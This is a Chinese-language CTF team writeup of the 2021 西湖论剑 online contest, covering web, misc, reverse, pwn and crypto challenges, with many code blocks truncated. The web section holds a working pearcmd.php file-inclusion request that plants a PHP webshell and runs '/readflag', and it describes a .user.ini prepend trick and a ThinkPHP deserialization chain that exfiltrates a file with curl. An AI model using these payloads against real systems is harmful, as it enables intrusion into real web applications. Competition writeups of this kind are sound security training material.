以下是我们 SU 本次 西湖论剑线上赛 的 writeup
同时我们也在持续招人,只要你拥有一颗热爱 CTF 的心,都可以加入我们!欢迎发送个人简介至:suers_xctf@126.com或直接联系书鱼(QQ:381382770)
Web
web1
是个信呼的web应用,老洞都打不了,没有给写入的权限,
所以我们需要去找新的利用点
这个地方把他生成的方法类中的displayfile传入到了下面的mpathname中
于是在这个位置就可能会造成
文件包含
然后全局搜索一下那个displayfile
发现在webmain/index/indexAction.php中的getshtmlAction方法里传入一个surl,然后经过拼接传入到了displayfile中,而surl是我们可控的,所以这里确实存在一个文件包含
这里因为拼接了后缀为php,而我们没有上传文件的权限,所以只能包含已经有的文件。然后就想到前阵子p神提出的pearcmd.php的利用。1
/?+config-create+/&m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA==&/0]) +/tmp/a.php system($_POST[
然后再去包含生成的a.php就可以rce1
2
3
4
5
6index.php?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA==
POST
0=system('/readflag');
EZupload
描述:环境每两分钟重置一次。
- .user.ini(auto_prepend_file=”/flag”)
- 访问Latte的tempdir缓存php文件(2.10.4版本)就可触发.user.ini
TP
先file结合过滤器取读取控制器代码,这里有个直接反序列点;利用tp的路由规则直接来打;2333///public绕一下parse_url就可;
我之前发过两个thinkphp的另反序列化链;
https://www.freebuf.com/articles/web/263458.html
用其中第一个链直接打,然后curl将文件发送过来就可;
1 |
|
监听一下就行;
灏妹的web
这题是个信息泄漏,扫一下目录;/.idea/dataSources.xml
这个文件里直接有flag;
Misc
真·签到
进入西湖论剑网络安全大赛微信公众号,发送语音说出“西湖论剑2021,我来了。”即可获得本题 flag:)
yusa的小秘密
Ycrcb隐写提取得到图片,放stegsolve中得到flag
Reverse
ROR
main
函数很清晰
Z3 一把梭
1 | import z3 |
TacticalArmed
TLSCallback0
里头起了个线程
)
- 线程填充 key
initterm
里面有反调试
- 这个线程在跑起来之后 IDA 的调试功能就没法用了,所以 patch 掉函数指针
- 核心部分每次执行的其实都只是一条指令
- 手动 dump 前面的指令,发现大量的 shr xor 等操作,猜测是 tea,然后发现 delta 变成了 -0x7E5A96D2,密钥是初始化时赋值的,外层循环也能发现轮数改为了 33,并且每次加密后 sum 并没有置为 0
exp
1 |
|
flag kgD1ogB2yGa2roiAeXiG8_aqnLzCJ_rFHSPrn55K
gghdl
搜索字符串:Wrong 定位关键点。
1 | __int64 __fastcall sub_55CFAE51DCE0(__int64 a1) |
一共就是几个case分支,可以看到case0是输入,case2是输出错误。
case4就是for(int i = 0; i < 44; i++)
case5是最后比较,即看有多少个输入是正确的,当为44时则输出correct。
case6是加密函数,case7就是对单字节加密结果比较了。
密文在case7的分组来的,如第一组密文在如下箭头的地方:
这里还有一点要说的就是程序的sub_5585B8E481D0函数是把数据转化为二进制,但是1用3代替,0用2代替的。
然后这里加密操作,猜测的是异或,因为输入数据在经过case6是变化过的。然后从测试的数据输入与输出得到异或值:0x9c
如我输入的字符7,经过转化后变为了22332333,然后22332333变为了32323233,即0x37变为了0xAB,那么从这可推出:0x37^0xab = 0x9c
最后提取出所有密文解密即可:
1 | enc = [216, 221, 207, 223, 200, 218, 231, 172, 170, 174, 165, 173, 165, 170, 174, 177, 253, 254, 253, 248, 177, 168, 172, 255, 164, 177, 164, 175, 173, 164, 177, 250, 172, 253, 170, 254, 173, 164, 170, 168, 164, 174, 255, 225] |
虚假的粉丝
你是真的粉丝还是虚假的粉丝?
ASCII-faded 1999.txt
key1 和 key2 可以从上面得到(当然也可以逆向出)
Final key 足够大就行了
1 | S3Cre7_K3y = Al4N_wAlK3RX |
按照逆向的逻辑写脚本(其实等他命令行里播放完看这个文件也行
Exp:
1 | # >>> (hex(ord('A')) + hex(ord('W'))).replace("0x", "") |
A_TrUe_AW_f4ns
出了
Pwn
String go
简单栈溢出,通过输入-1可以泄漏canary和libc。本来想拿shell,但是为了测试于是用puts函数试着输出一下/bin/sh字符串,但是最后不知道怎么就把flag带出来了。
1 | from pwn import * |
Blind
用了alarm里的syscall,需要爆破一下1/16
1 | from pwn import * |
Crypto
DSA
第一层解pell方程,网上找个脚本,根据cl1,cl2的最大bit数卡一下bit求出合适的解,即ul,vl,crt一下构造多项式求m1, m2,求出m1,m2也就求出和hm1,hm2,之后g很好求,指数上用费马小定理,发现求个逆即可,pq两个方程两个未知数解一下也就求出来了,之后用s2-s1求k,剩下的就没啥了,求出x12就好了
1 | from pwn import * |
FilterRandom
filter中每次有0.9概率从s1中选择数字,0.1概率选择s2中的数据,因此out中大部分数据都是来自于s1的。通过计算,有很大概率存在连续64个来自于s1中的数据,可以检测一下,并找到连续数字开始的下标。
找到连续64个比特之后,只需要一直向前回溯,就能得到初始状态init1.第一部分代码如下:
1 | N = 64 |
得到init1之后,output里与init1生成不一样的数据就是init2生成的数据。由于lfsr是可以用矩阵表示的,因此可以用矩阵方程:$initA^{k-1}mask$得到第k个输出。我们已知100多比特的输出,那么就可列$xA=y$形式矩阵方程计算。
1 | M = block_matrix(Zmod(2), [Matrix([0] * 63), identity_matrix(63)], nrows = 2, subdivide = False) |
输出向量2进制转10进制即init2.
HardRSA
第一层base是2的dlp,求解出x之后,解个多项式root求出p,已知dp情况下在modp下求解即可。
1 | from hashlib import sha256 |
密码人集合
ip:
82.157.25.233
port: 38700
protocol: tcp
nc连上 数独题 把汉字对应1-9编排 求出解
输入abcdefghi即可。
> 请输入答案字符串:
拿要第我西湖论剑一湖西论剑要一我拿第一剑我论第拿要西湖第论湖要剑西一我拿西我要一拿第剑湖论剑一拿湖我论第要西要拿一第湖我西论剑论湖剑西一要拿第我我第西拿论剑湖一要
恭喜!答案正确,这是你的奖励DASCTF{b883513d6d97e0e9e8a3e4dc28b02621}。
继续开启下一站的旅程吧。
转换为汉字输出即可拿到flag b883513d6d97e0e9e8a3e4dc28b02621